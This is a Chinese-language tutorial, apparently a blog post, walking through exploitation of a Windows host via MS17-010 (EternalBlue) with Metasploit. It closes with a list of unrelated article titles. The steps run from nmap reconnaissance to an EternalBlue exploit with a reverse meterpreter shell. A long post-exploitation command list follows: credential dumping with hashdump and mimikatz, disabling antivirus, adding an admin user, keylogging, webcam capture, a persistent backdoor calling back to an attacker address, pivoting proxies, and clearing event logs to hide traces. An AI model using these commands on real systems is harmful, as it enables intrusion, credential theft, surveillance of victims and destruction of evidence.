借助 metasploit 利用 MS17-010 漏洞进行攻击

  • Metasploit 简介 (简称:MSF)
  • 经常被利用的端口
  • MS17-010利用流程
    • 1. 存活判断
    • 2. 端口扫描
    • 3. 服务识别
    • 4. 操作系统识别
    • 5. 漏洞利用
  • 后渗透阶段
    • 1. 基础命令
    • 2. POST后渗透模块
    • 3. 访问文件系统
    • 4. 权限提升
    • 5. 获取密码的方式
      • run windows/gather/credentials/windows_autologin
      • hashdump 模块
      • mimikatz程序
      • 加载kiwi模块
      • MSF中的 mimikatz 模块
    • 6. 屏幕截图
    • 7. 创建新用户
    • 8. 启用远程桌面
    • 9. 键盘记录
    • 10. 进程迁移
    • 11. 用目标主机摄像头拍照
    • 12. 使用扩展库
    • 13. 生成持续性后门
      • 启动项启动
      • 服务启动
    • 14. 设置 socks 代理
    • 15. portfwd 端口转发
    • 16. 清除时间日志
    • 17. 导入并执行powershell脚本
    • 18. 加载stdapi
    • 19. 升级 session

Metasploit 简介 (简称:MSF)

是一款开源安全漏洞检测工具,附带数千个已知的软件漏洞,并保持持续更新。Metasploit可以用来信息收集、漏洞探测、漏洞利用等渗透测试的全流程,被安全社区冠以“可以黑掉整个宇宙”之名。刚开始的Metasploit是采用Perl语言编写的,但是再后来的新版中,改成了用Ruby语言编写的了。在kali中,自带了Metasploit工具。我们接下来以大名鼎鼎的永恒之蓝MS17_010漏洞为切入点,讲解MSF框架的使用。

在nmap中 有 metasploit 模块(简称:msf),在使用的时候直接输入命令 msfconsole 即可调用。

经常被利用的端口

一般情况下,本地IP和被攻击的IP不在同一个局域网,无法直接进行攻击。因此要搭建代理,可以用VPS的方式,帮助进行转发本地到被攻击者的数据。

下面是一些经常被利用的端口
139 — Windows"文件和打印机共享
443 — https端口
445 — 共享文件和打印机服务
3389 — 远程桌面服务

https都是SSL对http进行加密保护,但是随着科技的发展,SSL的安全性得到了质疑,现在用来加密http最安全的传输层协议是TLS

MS17-010利用流程

使用nmap、metasploit,可能版本不一样,命令会有细微区别

1. 存活判断

nmap -sP 192.168.3.15/24   // 用ping 命令的检测方式

2. 端口扫描

su
nmap -Pn 192.168.3.22

3. 服务识别

每一个服务(每个服务都会使用协议)都有具体的用处,比如DNS服务,MYSQL服务,IKE密钥交换服务,IPSec服务等等,有一个精确的版本号对了解服务器有什么漏洞有巨大帮助

把Nmap指向一个远程机器,它可能告诉您 端口25/tcp,80/tcp,和53/udp是开放的。使用包含大约2,200个著名的服务的 nmap-services数据库, Nmap可以报告那些端口可能分别对应于一个邮件服务器 (SMTP),web服务器(HTTP),和域名服务器(DNS)。 这种查询通常是正确的 – 事实上,绝大多数在TCP端口25监听的守护进程是邮件服务器。然而,您不应该把赌注押在这上面! 人们完全可以在一些奇怪的端口上运行服务

在用某种其它类型的扫描方法发现TCP 和/或者UDP端口后, 版本探测会询问这些端口,确定到底什么服务正在运行。 nmap-service-probes 数据库包含查询不同服务的探测报文 和解析识别响应的匹配表达式。 Nmap试图确定服务协议 (如 ftp,ssh,telnet,http),应用程序名(如ISC Bind,Apache httpd,Solaris telnetd),版本号, 主机名,设备类型(如 打印机,路由器),操作系统家族 (如Windows,Linux)以及其它的细节,如 如是否可以连接X server,SSH协议版本 ,或者KaZaA用户名)。
当然,并非所有服务都提供所有这些信息。 如果Nmap被编译成支持OpenSSL, 它将连接到SSL服务器,推测什么服务在加密层后面监听。 当发现RPC服务时, Nmap RPC grinder (-sR)会自动被用于确定RPC程序和它的版本号。 如果在扫描某个UDP端口后仍然无法确定该端口是开放的还是被过滤的,那么该端口状态就 被标记为open|filtered。 版本探测将试图从这些端口引发一个响应(就像它对开放端口做的一样), 如果成功,就把状态改为开放。 open|filtered TCP端口用同样的方法对待。 注意Nmap -A选项在其它情况下打开版本探测。
有一篇关于版本探测的原理,使用和定制的文章在 https://nmap.org/vscan/。

nmap -sV 192.168.3.22         服务器版本探测

nmap -A 192.168.3.22     -A来同时启用 操作系统检测 和 服务版本检测。

4. 操作系统识别

Nmap最著名的功能之一是用TCP/IP协议栈fingerprinting进行远程操作系统探测。 Nmap发送一系列TCP和UDP报文到远程主机,检查响应中的每一个比特。 在进行一打测试如TCP ISN采样,TCP选项支持和排序,IPID采样,和初始窗口大小检查之后, Nmap把结果和数据库nmap-os-fingerprints中超过 1500个已知的操作系统的fingerprints进行比较,如果有匹配,就打印出操作系统的详细信息。 每个fingerprint包括一个自由格式的关于OS的描述文本, 和一个分类信息,它提供供应商名称(如Sun),下面的操作系统(如Solaris),OS版本(如10), 和设备类型(通用设备,路由器,switch,游戏控制台, 等)。

nmap -O 192.168.3.22         操作系统的探测

5. 漏洞利用

扫描出139,445端口开放,服务器版本是windows 2008,猜测可以利用永恒之蓝

  1. 首先打开msfconsole,利用 metasploit

     msfconsole
    

  1. 找到永恒之蓝(ms17-010)对应的模块

    search ms17-010

  2. 永恒之蓝模块

     扫描模块位置:auxiliary/scanner/smb/smb_ms17_010    攻击代码位置:exploit/windows/smb/ms17_010_eternalblueexploit/windows/smb/ms17_010_eternalblue_win8  exploit/windows/smb/ms17_010_psexec            exploit/windows/smb/smb_doublepulsar_rce
    
  3. 利用永恒之蓝扫描,查看是否可以对目标机利用ms17-010

     use auxiliary/scanner/smb/smb_ms17_010   set RHOSTS 192.168.3.22    设置远端iprun
    



5. 利用payload攻击

 use exploit/windows/smb/ms17_010_eternalblueset payload windows/x64/meterpreter/reverse_tcp   //设置payload,后面是payload的的类型,可以通过 show payloads 命令查看set RHOSTS 192.168.3.22     //设置被攻击者的IPset lhost 192.168.3.25    //设置LHOST,也就是我们主机的ip,用于接收从目标机弹回来的shellrun

执行成功

  1. 攻击成功

    可以执行命令

  2. 查看payload

    show payloads

后渗透阶段

以下的操作全都是在成功注入payload之后,在 meterpreter 视图下

1. 基础命令

shell ---- 即可切换到目标主机的windows shell
exit ---- 要想从目标主机shell退出到 meterpreter
background ---- 从 meterpreter 退出到MSF框架

sysinfo             #查看目标主机系统信息
run scraper         #查看目标主机详细信息
run hashdump        #导出密码的哈希
load kiwi           #加载mimikatz
ps                  #查看目标主机进程信息
pwd                 #查看目标当前目录(windows)
getlwd              #查看目标当前目录(Linux)
search -f *.jsp -d e:\                #搜索E盘中所有以.jsp为后缀的文件
download  e:\test.txt  /root          #将目标机的e:\test.txt文件下载到/root目录下
upload    /root/test.txt d:\test      #将/root/test.txt上传到目标机的 d:\test\ 目录下
getpid              #查看当前Meterpreter Shell的进程PID
migrate 1384        #将当前Meterpreter Shell的进程迁移到PID为1384的进程上
idletime            #查看主机运行时间
getuid              #查看获取的当前权限
getsystem           #提权
run  killav         #关闭杀毒软件
screenshot          #截图
webcam_list         #查看目标主机的摄像头
webcam_snap         #拍照
webcam_stream       #开视频
execute  参数  -f 可执行文件   #执行可执行程序
run getgui -u hack -p 123    #创建hack用户,密码为123
run getgui -e                #开启远程桌面
keyscan_start                #开启键盘记录功能
keyscan_dump                 #显示捕捉到的键盘记录信息
keyscan_stop                 #停止键盘记录功能
uictl  disable  keyboard     #禁止目标使用键盘
uictl  enable   keyboard     #允许目标使用键盘
uictl  disable  mouse        #禁止目标使用鼠标
uictl  enable   mouse        #允许目标使用鼠标
load                         #使用扩展库
run                     #使用扩展库run persistence -X -i 5 -p 8888 -r 192.168.10.27        #反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀
portfwd add -l 3389 -r 192.168.11.13 -p 3389     #将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址
clearev

2. POST后渗透模块

该模块主要用于在取得目标主机系统远程控制权后,进行一系列的后渗透攻击动作。

run post/windows/manage/migrate           #自动进程迁移
run post/windows/gather/checkvm           #查看目标主机是否运行在虚拟机上
run post/windows/manage/killav            #关闭杀毒软件
run post/windows/manage/enable_rdp        #开启远程桌面服务
run post/windows/manage/autoroute         #查看路由信息
run post/windows/gather/enum_logged_on_users    #列举当前登录的用户
run post/windows/gather/enum_applications       #列举应用程序
run windows/gather/credentials/windows_autologin #抓取自动登录的用户名和密码
run windows/gather/smart_hashdump               #dump出所有用户的hash
sysinfo                                                                 #查看目标主机信息

3. 访问文件系统

这些命令类似于 linux 中的命令

cd:切换目标目录;cat:读取文件内容;rm:删除文件;edit:使用vim编辑文件ls:获取当前目录下的文件;mkdir:新建目录;rmdir:删除目录;

4. 权限提升

进入一个系统的后台,权限的额提升至关重要,关系到能否修改注册表,安装后门,获取密码等操作。

#在Meterpreter中提供看提升权限的命名,如下:getsystem      #提升权限
getuid              # 获取当前被攻击用户的信息

注意:执行getsystem命令后,会显示错误,但是其实已经运行成功了!

5. 获取密码的方式

run windows/gather/credentials/windows_autologin

很多用户习惯将计算机设置自动登录,可以使用 run windows/gather/credentials/windows_autologin 抓取自动登录的用户名和密码

hashdump 模块

hashdump 模块可以从SAM数据库中导出本地用户账号。
run hashdump ,该命令的使用需要系统权限

还可以使用命令:run windows/gather/smart_hashdump
该命令的使用需要系统权限,该功能更强大,可以导出域内所有用户的hash

mimikatz程序

通过上传mimikatz程序,然后执行mimikatz程序来获取明文密码。此外,执行mimikatz必须System权限。

getsystem                                        ##提权至系统权限
execute  -i  -f  mimikatz.exe               #进入mimikatz的交互界面
privilege::debug
sekurlsa::logonpasswords

加载kiwi模块

加载wiki模块也许要system权限

load wiki        # 加载该模块
help wiki       # 查看帮助
creds_all        #列举出所有证书的凭证:

MSF中的 mimikatz 模块

运行MSF里面自带的 mimikatz 模块 ,该模块的使用需要System权限。

run post/windows/gather/enum_applications   #查看目标主机安装了哪些应用
execute  参数  -f 可执行文件               # 在目标系统中执行程序,参数选项如下参数
-f:指定可执行文件
-H:创建一个隐藏进程
-a:传递给命令的参数
-i:  跟进程进行交互
-m:从内存中执行
-t: 使用当前伪造的线程令牌运行进程
-s: 在给定会话中执行进程

6. 屏幕截图

screenshot          #图片被保存到了  /root 目录下

7. 创建新用户

run post/windows/gather/enum_logged_on_users     #查看目标主机的用户
run getgui -u hack -p 123           #创建新用户,并添加到 Administrators 组中

注意:如果添加到Administrators组中失败了的话,在windows系统中,我们可以运行:shell ,进行cmd窗口手动将该用户添加到administrators组中。

8. 启用远程桌面

当我们新添加的用户已经拥有远程桌面之后,我们就可以使用这个账号凭证来开启远程桌面会话了。

开启远程桌面服务:
run getgui -e  或  run post/windows/manage/enable_rdp
idletime   #检查目标主机的空闲时长

然后在kali的root视图下用rdesktop命令

rdesktop 192.168.1.110


9. 键盘记录

Meterpreter还可以在目标设备上实现键盘记录功能,键盘记录主要涉及以下三种命令:

keyscan_start:开启键盘记录功能
keyscan_dump:显示捕捉到的键盘记录信息
keyscan_stop:停止键盘记录功能

在使用键盘记录功能时,通常需要跟目标进程进行绑定,接下来我们介绍如何绑定进程,然后获取该进程下的键盘记录

10. 进程迁移

Meterpreter 既可以单独运行,也可以与其他进程进行绑定。因此,我们可以让Meterpreter与类似explorer.exe这样的进程进行绑定,并以此来实现持久化。

我们会将Meterpreter跟 winlogon.exe 绑定,并在登录进程中捕获键盘记录,以获得用户的密码。

首先,用 ps 命令查看目标设备中运行的进程
getpid 查看我们当前的进程 id

使用:migrate 目标进程ID 命令来绑定目标进程id,这里绑定目标pid的时候,经常会断了 shell。进程迁移后会自动关闭原来进程,没有关闭可使用 kill pid 命令关闭进程。或者使用自动迁移进程(run post/windows/manage/migrate)命令,系统会自动寻找合适的进程然后迁移。

11. 用目标主机摄像头拍照

获取目标系统的摄像头列表:webcam_list
从指定的摄像头,拍摄照片:webcam_snap
从指定的摄像头,开启视频:webcam_stream

12. 使用扩展库

输入 load 或者 run 然后双击table

13. 生成持续性后门

因为 meterpreter 是基于内存DLL建立的连接,所以,只要目标主机关机,我们的连接就会断。总不可能我们每次想连接的时候,每次都去攻击,然后再利用 meterpreter 建立连接。所以,我们得在目标主机系统内留下一个持续性的后门,只要目标主机开机了,我们就可以连接到该主机。

建立持续性后门有两种方法,一种是通过启动项启动(persistence) ,一种是通过服务启动(metsvc)

启动项启动

启动项启动的话,我们先生成一个后门工具,传送门——> 用MSF生成一个后门木马,然后放到windows的启动目录中:

C:\Users\$username$\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

这样这个后门每次开机就都能启动了,然后我们只要相连就监听相应的端口就行了。

服务启动

run persistence -X -i 5 -p 8888 -r 192.168.10.27
#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀#然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs 并把该服务加入了注册表中,只要开机就会启

14. 设置 socks 代理

这里socks模块只是将代理设置为本地的1080端口,即通过proxychains的流量都转给本地的1080端口,又因为这是MSF起的监听端口。所以我们需要添加一个路由,这样MSF监听的1080端口就可以到达内网了。

MSF中有三个代理模块,分别是socks4a、socks5、socks_unc。我们一般用 socks4a和socks5进行代理。socks5可以设置用户名和密码。这里运行代理后,有时候MSF不会监听端口(有可能是个bug,试了好多次都有这种情况),所以也就导致代理失败。

#使用socks4a代理
use auxiliary/server/socks5
run#使用socks5代理
use auxiliary/server/socks5
set USERNAME root
set PASSWORD Password@
run#然后打开/etc/proxychains.conf,加入下面一行
socks5 0.0.0.0 1080 root Password@#然后添加路由
route add 0.0.0.0 0.0.0.0 1#然后就可以使用curl了
proxychains nmap -p 21 -Pn -sT x.x.x.x     #在打开其他程序前加上proxychains

15. portfwd 端口转发

portfwd 是meterpreter提供的一种基本的端口转发。porfwd可以反弹单个端口到本地,并且监听

portfwd add -l 3389 -r 192.168.11.13 -p 3389
#将192.168.11.13的3389端口转发到本地的3389端口上,这里的192.168.11.13是获取权限的主机的ip地址rdesktop 127.0.0.1:3389
# 然后我们只要访问本地的3389端口就可以连接到目标主机的3389端口了

16. 清除时间日志

完成攻击操作之后,千万别忘了“打扫战场”。我们的所有操作都会被记录在目标系统的日志文件之中,因此我们需要在完成攻击之后使用命令

clearev          # 清除事件日志

17. 导入并执行powershell脚本

load powershell            #加载powershell功能
powershell_import /root/PowerView.ps1      #导入powershell脚本,提前将该powershell脚本放到指定目录
powershell_execute Get-NetDomain     #执行该脚本下的功能模块Get-domain,该模块用于获取域信息,一个脚本下通常有多个功能模块
powershell_execute Invoke-UserHunter  #该功能模块用于定位域管理员登录的主机
powershell_execute Get-NetForest      #该模块用于定位域信息

如果powershell脚本是用于域内信息收集的,则获取到的权限用户需要是域用户

18. 加载stdapi

有时候虽然我们获取到了meterpreter,但是执行一些命令会显示没有该命令

load stdapi          # 加载 stdapi

19. 升级 session

当我们收到的不是meterpreter类型的session的话,不便于操作,就要升级session

sessions -u  id      # 升级session

Metasploit(一) 利用 MS17-010 漏洞进行攻击相关推荐

  1. WannaCry 主要利用的哪个漏洞进行攻击的?

    WannaCry 主要利用的哪个漏洞进行攻击的? 背景及漏洞介绍 当用户主机系统被该勒索软件入侵后,弹出如下勒索对话框,提示勒索目的并向用户索要比特币.而对于用户主机上的重要文件,如:照片.图片.文档 ...

  2. 谷歌发现利用零日漏洞的攻击、黑客通过漏洞入侵红十字会|2月17日全球网络安全热点

    安全资讯报告 新加坡将加强网络钓鱼诈骗后的安全措施 新加坡正在加强安全措施,以支持当地的银行和通信基础设施,其中包括短信服务提供商需要在发送消息之前检查注册表.预计银行还将开发"更通用&qu ...

  3. 利用Java反序列化漏洞在Windows上的挖矿实验

    最近,安全社区中有很多人都在讨论如何利用Java反序列化漏洞来攻击类似Apache.SOLR和WebLogic之类的系统.不说废话,我们直接进入正题.目前绝大多数的此类攻击针对的都是Linux/Uni ...

  4. Metasploit攻击win7实例——利用MS11_003 IE漏洞攻击win7主机

    攻击流程 环境配置: 漏洞主机:win7,IP地址:10.1.1.129 攻击主机:Kali linux,IP地址:10.1.1.128 使用工具: Nessus+metasploit 利用Nessu ...

  5. beef利用xss漏洞实现攻击

    目录 1.攻击手段 2.常见用途 2.参数说明 2.1 演示页面 2.2 Details 2.3 Logs 2.4  commands 总结: 1.攻击手段 利用网站 xss 漏洞实现攻击 诱使客户端 ...

  6. Metasploit技术(三)——漏洞利用

    目录 四.漏洞利用 四.漏洞利用   每个操作系统都会存在各种Bug,像Windows这样有版权的操作系统,微软公司会快速地开发针对这些Bug或漏洞地补丁,并为用户提供更新.全世界有大量地漏洞研究人员 ...

  7. python dos攻击_利用SMB漏洞DoS攻击任何Windows系统

    原标题:利用SMB漏洞DoS攻击任何Windows系统 近日微软报出SMB V1存在漏洞,安全研究员并将此漏洞称作 " SMBLoris ",解释其能够发动拒绝服务(Dos)攻击, ...

  8. 利用该0 day漏洞的攻击活动情况

    谷歌研究人员发现macOS漏洞利用. 谷歌研究人员在macOS系统中发现了一个安全漏洞--CVE-2021-30869.攻击者利用该漏洞可以以kernel权限执行任意代码.8月底,谷歌研究人员发现了该 ...

  9. 黑客狂野利用零日漏洞:小米三星也中招,安卓手机最易受此漏洞的攻击?

    零日漏洞的另一个启示,这次是在全球使用最广泛的移动操作系统Android中.黑客无处不在,知名网络安全专家,东方联盟创始人郭盛华还发现了Android 0day漏洞的狂野利用,这是臭名昭著的,因为它向 ...

最新文章

  1. Jackson反序列化提示:Can not deserialize instance of Task out of START_ARRAY token
  2. 下一代Mac mini将率先搭载苹果自研M2系列芯片
  3. 【校园电子书城】测试及部署
  4. [渝粤教育] 中国地质大学 国际贸易实务 复习题 (2)
  5. 文件共享锁溢出 请增加MaxLocksperFile注册表项值
  6. LeetCode力扣算法总结-go版本
  7. 触摸屏 java_价值10W大洋的触摸屏技术揭秘。。。
  8. 批量添加文件名前后缀的工具_艾孜尔江撰
  9. QQ看点模块100条测试用例
  10. drag与drop事件
  11. 99种用Racket说I love you的方式
  12. 如何比较好的规避拼多多纠纷退款的技巧?天创速盈来说
  13. 2021-07-30 es6 -第4章和String复习
  14. 谷歌浏览器如何打开新的窗口
  15. 解决西门子PLC模拟量输入值不稳定的问题
  16. (每日一练c语言)写入字符串到文件txt
  17. 【日语】【歌词】「ヤキモチ」--高橋優
  18. 11g 配置 dgmgrl 以及报错 DataGuard ORA-00313,
  19. 2021-09-30-THZ-前置
  20. 使用PMS系统项目管理

热门文章

  1. 手把手教你用python几行代码打造人工智能对话机器人,还说说话!
  2. 银行数字化转型导师坚鹏:金融科技与数字化转型成功案例
  3. apple 密码 seeion has time out 无法再本机上重设密码
  4. C#卸载程序需要密码/防卸载功能
  5. [高数][高昆轮][高等数学上][第二章-导数与微分]02.函数的求导法则
  6. Android模拟器编程,Android模拟器入门[转]
  7. jacobi旋转法的VB实现
  8. JavaScript:Promise进阶知识
  9. Python 中的对象赋值、浅拷贝和深拷贝
  10. 百度UEditor 图片粘贴上传,实现图文粘贴,图片自动上传